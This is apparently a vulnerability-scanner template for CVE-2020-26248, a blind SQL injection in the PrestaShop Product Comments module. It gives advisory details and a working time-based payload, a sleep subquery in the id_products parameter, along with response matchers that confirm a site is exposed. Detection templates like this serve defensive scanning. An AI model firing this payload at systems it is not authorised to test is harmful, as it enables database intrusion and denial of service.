47 lines
2.0 KiB
YAML
47 lines
2.0 KiB
YAML
id: CVE-2020-26248
|
|
|
|
info:
|
|
name: PrestaShop Product Comments <4.2.0 - SQL Injection
|
|
author: edoardottt
|
|
severity: high
|
|
description: |
|
|
PrestaShop Product Comments module before version 4.2.1 contains a SQL injection vulnerability, An attacker can use a blind SQL injection to retrieve data or stop the MySQL service, thereby possibly obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.
|
|
remediation: Fixed in 4.2.1.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/160539/PrestaShop-ProductComments-4.2.0-SQL-Injection.html
|
|
- https://packagist.org/packages/prestashop/productcomments
|
|
- https://github.com/PrestaShop/productcomments/security/advisories/GHSA-5v44-7647-xfw9
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-26248
|
|
- https://github.com/PrestaShop/productcomments/commit/7c2033dd811744e021da8897c80d6c301cd45ffa
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
|
|
cvss-score: 8.2
|
|
cve-id: CVE-2020-26248
|
|
cwe-id: CWE-89
|
|
epss-score: 0.01617
|
|
epss-percentile: 0.86058
|
|
cpe: cpe:2.3:a:prestashop:productcomments:*:*:*:*:*:prestashop:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: prestashop
|
|
product: productcomments
|
|
framework: prestashop
|
|
tags: packetstorm,cve,cve2020,sqli,prestshop,prestashop
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
@timeout: 20s
|
|
GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration>=6'
|
|
- 'status_code == 200'
|
|
- 'contains(content_type, "application/json")'
|
|
- 'contains(body, "average_grade")'
|
|
condition: and
|
|
# digest: 490a00463044022060f3e14821e1fa5c9b150113610a92a7cf151ab6b078339c413dfb8ceb511fbd02206aeba16b3a3c1bd775f4b8c25de691cd00b6e2ed073b97c4ec157a10f4ff2192:922c64590222798bb761d5b6d8e72950 |